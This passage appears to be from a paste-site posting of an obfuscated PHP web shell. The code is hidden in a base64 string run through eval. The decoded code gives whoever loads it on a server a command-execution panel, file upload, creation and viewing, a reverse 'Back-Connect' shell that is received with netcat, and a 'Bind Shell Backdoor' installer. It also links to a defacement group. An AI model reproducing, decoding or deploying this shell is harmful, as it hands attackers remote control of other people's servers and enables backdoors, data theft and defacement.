QUJBQWd2Ly8vd0FBQUFBQWdJQ0FnTURBd0FBQUFBQUFBQUFBQUFOQiIuDQoiV0xQYzlYQ0FTU2NaOE1sS0NjQVJSd1ZrRUFLQ0lCS21OcVZycTd3cGJNbWJiYk9ucmdJOEYrcTN3OUdPUU9NUUdaeUpPc3BuTWtLbyIuDQoiV3EvTmtuYmJTZ0FBT3c9PSIsDQoiZXh0X2hwcCI9Pg0KIlIwbEdPRGxoRUFBUUFDSUFBQ0g1QkFFQUFBVUFMQUFBQUFBUUFCQUFndi8vL3dBQUFBQUFnSUNBZ01EQXdBQUFBQUFBQUFBQUFBTkYiLg0KIldMUGM5WENBU1NjWjhNbEtpY29iQndSa0VBR0NJQUtFcWFGcXBiWm5tazQyL2Q0M3lyb0ttTEFEbFBCaXM2THdLTkFGajdqZmFXVlIiLg0KIlVxVWFnbmJMZFphK1lGY0NBRHM9IiwNCiJleHRfaHRhY2Nlc3MiPT4NCiJSMGxHT0RsaEVBQVFBQ0lBQUNINUJBRUFBQVlBTEFBQUFBQVFBQkFBZ2dBQUFQOEFBUDhBL3dBQWdJQUFnUC8vQUFBQUFBQUFBQU02Ii4NCiJXRVhXL2s2UkFHc2ptRm9ZZ05CYkV3akRCMjVkR1p6VkNLZ3NSOExoU25wclBRNDA2cGFmbWtEd1V1bUl2SkJvUkFBQWxFdURFd3BKIi4NCiJBQUE3IiwNCiJleHRfaHRtbCI9Pg0KIlIwbEdPRGxoRXdBUUFMTUFBQUFBQVAvLy8ydHJuTTNQL0ZCVmhyUE85bDZJdG95dDB5aGdrK1h5L1dHcDRzWGwvaTZaNG1mZC9ITnoiLg0KImMvLy8veUg1QkFFQUFBOEFMQUFBQUFBVEFCQUFBQVNUOE1sM3FxMW02bm1DLzRHaGJGb1hKRU8xQ0FORFNvY2lHa2JBQ0hpMjBVM1AiLg0KIktJRkdJakFRT0RTaUJXTzVOQXhSUm1UZ2dEZ2ttTTdFNmlpcEhaWUtCVk5RU0JTaWt1a1N3VzRqeW1jdXBZRmdJQnFML01LOEtCRGsiLg0KIkJreDJCWFdEZlg4VEREYUZEQTBLQkFkOWZuSUtIWFlJQkpnSEJRT0hjZytWQ2lrVkE1d0xwWWdiQkt1ckRxeXNueE1PczdTMXN4SVIiLg0KIkFEcz0iLA0KImV4dF9qcGciPT4NCiJSMGxHT0RsaEVBQVFBRE1BQUNINUJBRUFBQWtBTEFBQUFBQVFBQkFBZ3dBQUFQLy8vOERBd0lDQWdJQ0FBUDhBQUFEL0FJQUFBQUNBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFSY2NNaEprNzBqNkszRnVGYkdiVUx3SmNVaGpnSGdBa1VxRWdKTkVFQWd4RWNpIi4NCiJDaThBTHNBTGFYQ0dKSzVvMUFHU0JzSUFjQUJnamdDRXdBTUVYcDBCQk1MbC9BNng1V1p0UGZRMmc2KzBqOFZ4KzdiNC9OWnFnZnRkIi4NCiJGeEVBT3c9PSIsDQoiZXh0X2pzIj0+DQoiUjBsR09EZGhFQUFRQUNJQUFDd0FBQUFBRUFBUUFJTC8vLzhBQUFDQWdJREF3TUQvL3dDQWdBQUFBQUFBQUFBRFVDaTYzQ0VneGliSCIuDQoiazBBUXNHMjAwQVFVSkJnQW9NaWhqNWRtSXhuTUp4dHFxMWRkRTBFV09oc0cxNm05TW9vQWlTV0VtVGl1QzRUdzJCQjBMOEZnSUFocyIuDQoiYTAwQWpZWUJiYy9vOUhqTm5pVUFBRHM9IiwNCiJleHRfbG5rIj0+DQoiUjBsR09EbGhFQUFRQUdZQUFDSDVCQUVBQUZBQUxBQUFBQUFRQUJBQWhnQUFBQUJpQUdQTE1tWE1NMHkvSmxmRkxGUzZLMXJHTFdqTyIuDQoiTlNtdUZUV3pHa0M1SUczVE9vLzFYRTdBSngyb0Q1WDdZb1RxVVlyd1YzL2xUSFRhUVhuZlJtREdNWVhyVWpLUUh3QU1BR2ZOUkh6aSIuDQoiVXd3NUNBQXFBRE9aR2thc0xYTFlRZ2hJQkJOM0RWRzJOV25QUm5EV1J3Qk9BQjV3RlFCQkFBQStBRkczTkFrNUJTR0hFVXF3TUFCayIuDQoiQUFBZ0FBQXdBQUJmQURlMEd4ZUxDeFpjREVLNklVdXhLRmpGTEUzQUoySEhNUktpQ1FXQ0FnQm1BQnB0RGcrSENCWmVEQXFGQldERyIuDQoiTXltVUZRcFdCajJmSmhkdkRRaE9CQzZYRjNmZFIwTzZJUjJPRHdBWkFIUFpRQ1NSRWdBU0FEYVhId0FBQUFBQUFBQUFBQUFBQUFBQSIuDQoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuDQoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuDQoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQWVaZ0ZCUVBBR0Zob2NBZ29JN09nOEpDZ3NFQlFJV1BRQ0pna0NPa0pLVVA1ZVlVRDZQa1pNNSIuDQoiTktDS1VETXlOVGczQWdnMlM1ZXFVRXBKRGdjRENBeE1UMDZoZ2syNnZBd1VGVWhEdFlwQ3V3WkJ5Qk1SUk15Q1J3TUdSa1VnMHhJZiIuDQoiMWxBZUJpRUFHUmdYRWcwdDRTd3JvQ1lsRFJBbjRTbXBLQ29RSkMvaHFWQXVOR3pnOEU5UktCRWpZQlMwSlNoR2g0VU1vWUFTQmlVUSIuDQoiQURzPSIsDQoiZXh0X2xvZyI9Pg0KIlIwbEdPRGxoRUFBUUFETUFBQ0g1QkFFQUFBZ0FMQUFBQUFBUUFCQUFnLy8vL3dBQUFNREF3SUNBZ0lDQUFBQUFnQUFBLy8vL0FBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVJRRUtFd0s2VXlCekM0NzVnRUFsdEprbExSQVd6YkNsUmhySzRMeTV5Zzcvd04iLg0KInpMVWFMR0JRQlYyRWdGTFY0eEVPU1NXdDlnUVFCcFJwcXhvVk5hUEtrRmI1RWgvTG1VR3pGNXFFMytFTUlnSUFPdz09IiwNCiJleHRfcGhwIj0+DQoiUjBsR09EbGhFQUFRQUlBQkFBQUFBUC8vL3l3QUFBQUFFQUFRQUFBQ0prUWVvTXVhMXRCeHFMSDM3SFU2YXJ4WllMZElaTW1kME9xcGFHZXlZcHFKbFJHL3Jsd0FBRHM9IiwNCiJleHRfcGwiPT4NCiJSMGxHT0RsaEZBQVVBS0wvQVAvNC84REF3SDkvQVAvNEFMKy92d0FBQUFBQUFBQUFBQ0g1QkFFQUFBRUFMQUFBQUFBVUFCUUFRQU1vIi4NCiJHTHJjM2dPQU1ZUjRPT3VkcmVlZ1JsQldTSjFscUs1czY0TGpXRjNjUU1qcEpwRGY2Ly9BQkFBNyIsDQoiZXh0X3N3ZiI9Pg0KIlIwbEdPRGxoRkFBVUFNUVJBUCtjblA5U1VzNEFBUCtjQVAvT0FJUUFBUDlqQU01am5NNmNZODZjbktYTzk4YmV4cHdBQVA4eEFQL08iLg0KIm5BQUFBUC8vLy8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUNINUJBRUEiLg0KIkFCRUFMQUFBQUFBVUFCUUFBQVY3WUNTT1pHbWU2UG1zYk11cVVDelAwQVBMemhBYnVQblFBd2VFNTJnMGZES0NNR2dvT200UUI0R0EiLg0KIkdCZ2FUMmdNUVlnVmpVZlNUM1lvRkdLQlJnQnFQamdZREVGeFhScERHRUlBNHhBUVFOUjFOSG9NRUFBQ0FCRmhJejhyQ25jTUFHZ0MiLg0KIk55c0xrRE9UU0NzSk5ESmFuVFVxTHFNMkthYW5xQkVoQURzPSIsDQoiZXh0X3RhciI9Pg0KIlIwbEdPRGxoRUFBUUFHWUFBQ0g1QkFFQUFFc0FMQUFBQUFBUUFCQUFoZ0FBQUJsT0FGZ2RBRkFBQUlZQ1V3QThad0E4WjlEWTRKSUMiLg0KIld2Ly8vd0NJV0JFMkFBQXlVSmljcUlTSGw0Q0FBUEQ0LytEZzhQWDYvNU9YcEw3SDArLzIvYUdtc1RJeU10VGM1UC8vc2ZMNS84WEYiLg0KIkhnQllwd0JVbGdCV24xQlFBRzhhSUFCUWhSYmZtd0Rja3YrSDExbm91RUxscml6aXBmK1YzblBBLzQwQ1V6bW0vd0E0WGhWREFBR0QiLg0KIlV5V2QvMGl0LzF1MS8zTnpBUDk1MFA5OTBtTzUvN3YxNFl6dnpYTHJ3b1hJLzV2Uy83RGsvd0JYb3Y5c3l2Ump3T2hhdFFDSFYxN3AiLg0KInVvMEdVUUJXblArKzhMbTVBUCtqNVFCVWxBQ0tXZ0E0YmpKUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFlZWdBS0NnNFNGU3hZTkV3NGdNZ1NPajQ4REZBY0hFVUlaUkVZb0pEUXpQVDQvQXdjUUNRa2ciLg0KIkd3aXBxcWtxQXhJYUZSZ1hEd08xdHJjQXVicTd2SWVKRGl3aEJjUEV4QXlUbFNFWk96bzVLVFV4TUNzdkRLT2xTUnNjSER3ZUhrTWQiLg0KIkhVY01yN0d6QnVmbzZBeTg3THUraWkwZkFmUDA5QXZJRVI4Wk5qYzRRU1VtVG9nWXNjQmFBaVZGa0NoWXlCQ0lpd1hrWkQyb1IzRkIiLg0KInU0dExBZ0VBT3c9PSIsDQoiZXh0X3R4dCI9Pg0KIlIwbEdPRGxoRXdBUUFLSUFBQUFBQVAvLy84Ykd4b1NFaFAvLy93QUFBQUFBQUFBQUFDSDVCQUVBQUFRQUxBQUFBQUFUQUJBQUFBTkoiLg0KIlNBckUzbERKRmthOTFyS3BBL0RnSjNKQmFaNmxzQ2tXNnFxa0I0anpGOEJTNjU0NFc5WkFXNCtnMjZWV3hGOXdkb3dabXpubEV1cDciLg0KIlVwUFdHM0lnNkhxL1htUmp1WndrQUFBNyIsDQoiZXh0X3dyaSI9Pg0KIlIwbEdPRGxoRUFBUUFETUFBQ0g1QkFFQUFBZ0FMQUFBQUFBUUFCQUFnLy8vL3dBQUFJQ0FnTURBd0lDQUFBQUFnQUFBLy8vL0FBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVJSVU1oSmtiMEM2SzJIdUVpUmNkc0FmS0V4a2tEZ0JvVnhzdHdBQXlwZHVvYW8iLg0KImE0U1hUMGM0QkYwclVoRkFFQVFRSTlkbWViUkVXOHlYQzZOeDJRSTdMcllidHBKWk5zeGd6VzZuTGRxNDloSUJBRHM9IiwNCiJleHRfeG1sIj0+DQoiUjBsR09EbGhFQUFRQUVRQUFDSDVCQUVBQUJBQUxBQUFBQUFRQUJBQWhQLy8vd0FBQVBIeDhZYUdoak5tbWFiSzhBQUFtUUFBZ0FDQSIuDQoiZ0RPWkFETm0vek9aL3pQLy84REF3RFBNL3dBQS93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuDQoiQUFBQUFBQUFBQUFBQUFBQUFBVms0Q0NPcEFpZDBBQ3NiTnNNcU5xdUFpQTBBSnpTZGw4SHdNQk9VS2doRUFwYkVTQlVGUXdBQklDeCIuDQoiT0FBTXhlYlRobUE0RW9jYXRnbllLaGFKaHhVcklCTnJoN2p5dC9QWmErMGhZYy9uMDJWNGR6WnVmWVYvUElHSmJvS0JRa0dQa0VFUSIuDQoiSVFBNyINCik7DQokaW1nZXF1YWxzID0gYXJyYXkoDQogICJleHRfdGFyIj0+YXJyYXkoImV4dF90YXIiLCJleHRfcjAwIiwiZXh0X2FjZSIsImV4dF9hcmoiLCJleHRfYnoiLCJleHRfYnoyIiwiZXh0X3RieiIsImV4dF90YnoyIiwiZXh0X3RneiIsImV4dF91dSIsImV4dF94eGUiLCJleHRfemlwIiwiZXh0X2NhYiIsImV4dF9neiIsImV4dF9pc28iLCJleHRfbGhhIiwiZXh0X2x6aCIsImV4dF9wYmsiLCJleHRfcmFyIiwiZXh0X3V1ZiIpLA0KICAiZXh0X3BocCI9PmFycmF5KCJleHRfcGhwIiwiZXh0X3BocDMiLCJleHRfcGhwNCIsImV4dF9waHA1IiwiZXh0X3BodG1sIiwiZXh0X3NodG1sIiwiZXh0X2h0bSIpLA0KICAiZXh0X2pwZyI9PmFycmF5KCJleHRfanBnIiwiZXh0X2dpZiIsImV4dF9wbmciLCJleHRfanBlZyIsImV4dF9qZmlmIiwiZXh0X2pwZSIsImV4dF9ibXAiLCJleHRfaWNvIiwiZXh0X3RpZiIsInRpZmYiKSwNCiAgImV4dF9odG1sIj0+YXJyYXkoImV4dF9odG1sIiwiZXh0X2h0bSIpLA0KICAiZXh0X2F2aSI9PmFycmF5KCJleHRfYXZpIiwiZXh0X21vdiIsImV4dF9tdmkiLCJleHRfbXBnIiwiZXh0X21wZWciLCJleHRfd212IiwiZXh0X3JtIiksDQogICJleHRfbG5rIj0+YXJyYXkoImV4dF9sbmsiLCJleHRfdXJsIiksDQogICJleHRfaW5pIj0+YXJyYXkoImV4dF9pbmkiLCJleHRfY3NzIiwiZXh0X2luZiIpLA0KICAiZXh0X2RvYyI9PmFycmF5KCJleHRfZG9jIiwiZXh0X2RvdCIpLA0KICAiZXh0X2pzIj0+YXJyYXkoImV4dF9qcyIsImV4dF92YnMiKSwNCiAgImV4dF9jbWQiPT5hcnJheSgiZXh0X2NtZCIsImV4dF9iYXQiLCJleHRfcGlmIiksDQogICJleHRfd3JpIj0+YXJyYXkoImV4dF93cmkiLCJleHRfcnRmIiksDQogICJleHRfc3dmIj0+YXJyYXkoImV4dF9zd2YiLCJleHRfZmxhIiksDQogICJleHRfbXAzIj0+YXJyYXkoImV4dF9tcDMiLCJleHRfYXUiLCJleHRfbWlkaSIsImV4dF9taWQiKSwNCiAgImV4dF9odGFjY2VzcyI9PmFycmF5KCJleHRfaHRhY2Nlc3MiLCJleHRfaHRwYXNzd2QiLCJleHRfaHQiLCJleHRfaHRhIiwiZXh0X3NvIikNCik7DQppZiAoISRnZXRhbGwpIHsNCiAgaGVhZGVyKCJDb250ZW50LXR5cGU6IGltYWdlL2dpZiIpOw0KICBoZWFkZXIoIkNhY2hlLWNvbnRyb2w6IHB1YmxpYyIpOw0KICBoZWFkZXIoIkV4cGlyZXM6ICIuZGF0ZSgiciIsbWt0aW1lKDAsMCwwLDEsMSwyMDMwKSkpOw0KICBoZWFkZXIoIkNhY2hlLWNvbnRyb2w6IG1heC1hZ2U9Ii4oNjAqNjAqMjQqNykpOw0KICBoZWFkZXIoIkxhc3QtTW9kaWZpZWQ6ICIuZGF0ZSgiciIsZmlsZW10aW1lKF9fRklMRV9fKSkpOw0KICBmb3JlYWNoKCRpbWdlcXVhbHMgYXMgJGs9PiR2KSB7aWYgKGluX2FycmF5KCRpbWcsJHYpKSB7JGltZyA9ICRrOyBicmVhazt9fQ0KICBpZiAoZW1wdHkoJGltYWdlc1skaW1nXSkpIHskaW1nID0gInNtYWxsX3VuayI7fQ0KICBpZiAoaW5fYXJyYXkoJGltZywkZXh0X3RhcikpIHskaW1nID0gImV4dF90YXIiO30NCiAgZWNobyBiYXNlNjRfZGVjb2RlKCRpbWFnZXNbJGltZ10pOw0KfQ0KZWxzZSB7DQogIGZvcmVhY2goJGltZ2VxdWFscyBhcyAkYT0+JGIpIHtmb3JlYWNoICgkYiBhcyAkZCkge2lmICgkYSAhPSAkZCkge2lmICghZW1wdHkoJGltYWdlc1skZF0pKSB7ZWNobygiV2FybmluZyEgUmVtb3ZlIFwkaW1hZ2VzWyIuJGQuIl08YnI+Iik7fX19fQ0KICBuYXRzb3J0KCRpbWFnZXMpOw0KICAkayA9IGFycmF5X2tleXMoJGltYWdlcyk7DQogIGVjaG8gICI8Y2VudGVyPiI7DQogIGZvcmVhY2ggKCRrIGFzICR1KSB7ZWNobyAkdS4iOjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPSIuJHUuIlwiIGJvcmRlcj1cIjFcIj48YnI+Ijt9DQogIGVjaG8gIjwvY2VudGVyPiI7DQp9DQpleGl0Ow0KfQ0KDQoNCmlmICgkeCA9PSAiYmFja2MiKSB7DQogICRpcCA9ICRfU0VSVkVSWyJSRU1PVEVfQUREUiJdOw0KICAkbXNnID0gJF9QT1NUWydiYWNrY2Nvbm5tc2cnXTsNCiAgJGVtc2cgPSAkX1BPU1RbJ2JhY2tjY29ubm1zZ2UnXTsNCiAgZWNobygiPGNlbnRlcj48Yj5CYWNrLUNvbm5lY3Rpb246PC9iPjwvYnI+PC9icj48Zm9ybSBuYW1lPWZvcm0gbWV0aG9kPVBPU1Q+SG9zdDo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9YmFja2Nvbm5lY3RpcCBzaXplPTE1IHZhbHVlPSRpcD4gUG9ydDogPGlucHV0IHR5cGU9dGV4dCBuYW1lPWJhY2tjb25uZWN0cG9ydCBzaXplPTE1IHZhbHVlPTU5OTI+IFVzZTogPHNlbGVjdCBzaXplPTEgbmFtZT11c2U+PG9wdGlvbiB2YWx1ZT1QZXJsPlBlcmw8L29wdGlvbj48b3B0aW9uIHZhbHVlPUM+Qzwvb3B0aW9uPjwvc2VsZWN0PiA8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9Q29ubmVjdD48L2Zvcm0+Q2xpY2sgJ0Nvbm5lY3QnIG9ubHkgYWZ0ZXIgeW91IG9wZW4gcG9ydCBmb3IgaXQgZmlyc3QuIE9uY2Ugb3BlbiwgdXNlIE5ldENhdCwgYW5kIHJ1biAnPGI+bmMgLWwgLW4gLXYgLXAgNTk5MjwvYj4nPGJyPjxicj48L2NlbnRlcj4iKTsNCiAgZWNobygiJG1zZyIpOw0KICBlY2hvKCIkZW1zZyIpOw0KfQ0KaWYgKCR4ID09ICJzaGJkIil7DQogICRtc2cgPSAkX1BPU1RbJ2JhY2tjY29ubm1zZyddOw0KICAkZW1zZyA9ICRfUE9TVFsnYmFja2Njb25ubXNnZSddOw0KICBlY2hvKCI8Y2VudGVyPjxiPkJpbmQgU2hlbGwgQmFja2Rvb3I6PC9iPjxicj48YnI+PGZvcm0gbmFtZT1mb3JtIG1ldGhvZD1QT1NUPg0KICBCaW5kIFBvcnQ6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdiYWNrY29ubmVjdHBvcnQnIHZhbHVlPSc1OTkyJz4NCiAgPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0ndXNlJyB2YWx1ZT0nc2hiZCc+DQogIDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdJbnN0YWxsIEJhY2tkb29yJz48L2Zvcm0+Iik7DQogIGVjaG8oIiRtc2ciKTsNCiAgZWNobygiJGVtc2ciKTsNCiAgZWNobygiPC9jZW50ZXI+Iik7DQp9DQplY2hvICI8L3RkPjwvdHI+PC90YWJsZT5cbiI7DQo/Pg0KPGRpdiAgY2xhc3M9YmFyaGVhZGVyMj48Yj4uOiBDT01NQU5EUyBQQU5FTCA6LjwvYj48L2Rpdj4NCjx0YWJsZSBjbGFzcz1tYWlucGFuZWw+DQo8P3BocA0KaWYgKCEkc2FmZW1vZGUpIHsNCj8+DQo8dHI+PHRkIGFsaWduPXJpZ2h0PkNvbW1hbmQ6PC90ZD4NCjx0ZD48Zm9ybSBtZXRob2Q9IlBPU1QiPg0KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXggdmFsdWU9ImNtZCI+DQogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImQiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPg0KICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjbWQiIHNpemU9IjUwIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRjbWQpOyA/PiI+DQogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImNtZF90eHQiIHZhbHVlPSIxIj4gLSA8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9IkV4ZWN1dGUiPg0KICAgIDwvZm9ybT4NCjwvdGQ+PC90cj4NCjx0cj48dGQgYWxpZ249cmlnaHQ+UXVpY2sgQ29tbWFuZHM6PC90ZD4NCjx0ZD48Zm9ybSBtZXRob2Q9IlBPU1QiPg0KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXggdmFsdWU9ImNtZCI+DQogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImQiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPg0KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJjbWRfdHh0IiB2YWx1ZT0iMSI+DQogICAgPHNlbGVjdCBuYW1lPSJjbWQiPg0KICAgIDw/cGhwDQogICAgZm9yZWFjaCAoJGNtZGFsaWFzZXMgYXMgJGFscykgew0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkYWxzWzFdKS4iXCI+Ii5odG1sc3BlY2lhbGNoYXJzKCRhbHNbMF0pLiI8L29wdGlvbj4iOw0KICAgIH0NCiAgICBmb3JlYWNoICgkY21kYWxpYXNlczIgYXMgJGFscykgew0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkYWxzWzFdKS4iXCI+Ii5odG1sc3BlY2lhbGNoYXJzKCRhbHNbMF0pLiI8L29wdGlvbj4iOw0KICAgIH0NCiAgICA/Pg0KICAgIDwvc2VsZWN0PiAtDQogICAgPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPSJFeGVjdXRlIj4NCiAgICA8L2Zvcm0+DQo8L3RkPjwvdHI+DQo8P3BocA0KfQ0KPz4NCjx0cj48dGQgYWxpZ249cmlnaHQ+S2VybmVsIEluZm86PC90ZD4NCjx0ZD48Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iaHR0cDovL2dvb2dsZS5jb20vc2VhcmNoIj4NCiAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjbGllbnQiIHZhbHVlPSJmaXJlZm94LWEiPg0KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InJscyIgdmFsdWU9Im9yZy5tb3ppbGxhOmVuLVVTOm9mZmljaWFsIj4NCiAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJobCIgdmFsdWU9ImVuIj4NCiAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJocyIgdmFsdWU9ImI3cCI+DQogICAgPGlucHV0IG5hbWU9InEiIHR5cGU9InRleHQiIGlkPSJxIiBzaXplPSI4MCIgdmFsdWU9Ijw/cGhwIGVjaG8gd29yZHdyYXAocGhwX3VuYW1lKCkpOyA/PiI+IC0NCiAgICA8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT0iYnRuRyIgVkFMVUU9IlNlYXJjaCI+DQogICAgPC9mb3JtPg0KPC90ZD48L3RyPg0KPHRyPjx0ZCBhbGlnbj1yaWdodD5VcGxvYWQ6PC90ZD4NCjx0ZD48Zm9ybSBtZXRob2Q9IlBPU1QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXggdmFsdWU9InVwbG9hZCI+DQogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Im1pbmlmb3JtIiB2YWx1ZT0iMSI+DQogICAgPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9InVwbG9hZGZpbGUiPiAtIDxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT0iVXBsb2FkIj4gPD9waHAgZWNobyAkd2R0OyA/Pg0KICAgIDwvZm9ybT4NCjwvdGQ+PC90cj4NCjx0cj48dGQgYWxpZ249cmlnaHQ+U2VhcmNoOjwvdGQ+DQo8dGQ+PGZvcm0gbWV0aG9kPSJQT1NUIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14IHZhbHVlPSJzZWFyY2giPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJkIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij4NCiAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic2VhcmNoX25hbWUiIHNpemU9IjI5IiB2YWx1ZT0iKC4qKSI+Jm5ic3A7PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJzZWFyY2hfbmFtZV9yZWdleHAiIHZhbHVlPSIxIiAgY2hlY2tlZD4gLSByZWdleHAmbmJzcDsNCiAgICA8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9IlNlYXJjaCI+DQogICAgPC9mb3JtPg0KICAgIDwvdGQ+PC90cj4NCjx0cj48dGQgYWxpZ249cmlnaHQ+TWFrZSBGaWxlOjwvdGQ+DQo8dGQ+PGZvcm0gbWV0aG9kPSJQT1NUIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14IHZhbHVlPSJta2ZpbGUiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJkIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iZnQiIHZhbHVlPSJlZGl0Ij4NCiAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibWtmaWxlIiBzaXplPSI3MCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+IC0gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJDcmVhdGUiPiA8P3BocCBlY2hvICR3ZHQ7ID8+DQogICAgPC9mb3JtPjwvdGQ+PC90cj4NCjx0cj48dGQgYWxpZ249cmlnaHQ+VmlldyBGaWxlOjwvdGQ+DQo8dGQ+PGZvcm0gbWV0aG9kPSJQT1NUIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14IHZhbHVlPSJnb2ZpbGUiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJkIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij4NCiAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iNzAiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPiAtIDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iVmlldyI+DQogICAgPC9mb3JtPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8ZGl2IGNsYXNzPWJhcmhlYWRlcjIgY29sc3Bhbj0yPjxmb250IGNvbG9yPXJlZD4tPVsgPGEgaHJlZj0iaHR0cDovL2luZG9uZXNpYW5kZWZhY2VyLm9yZyIgdGFyZ2V0PSJfYmxhbmsiPjxmb250IGNvbG9yPWxpbWU+c2VtcGFrPC9mb250PjwvYT4gfCBHZW5lcmF0ZWQ6PGZvbnQgY29sb3I9IiM2NkNDMDAiPiA8P3BocCBlY2hvIHJvdW5kKGdldG1pY3JvdGltZSgpLXN0YXJ0dGltZSw0KTsgPz48L2ZvbnQ+IHNlY29uZHMgXT0tPC9mb250PjwvZGl2Pg0KPC9ib2R5PjwvaHRtbD48P3BocCBjaGRpcigkbGFzdGRpcik7IGNhcHJpdjhleGl0KCk7')); ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement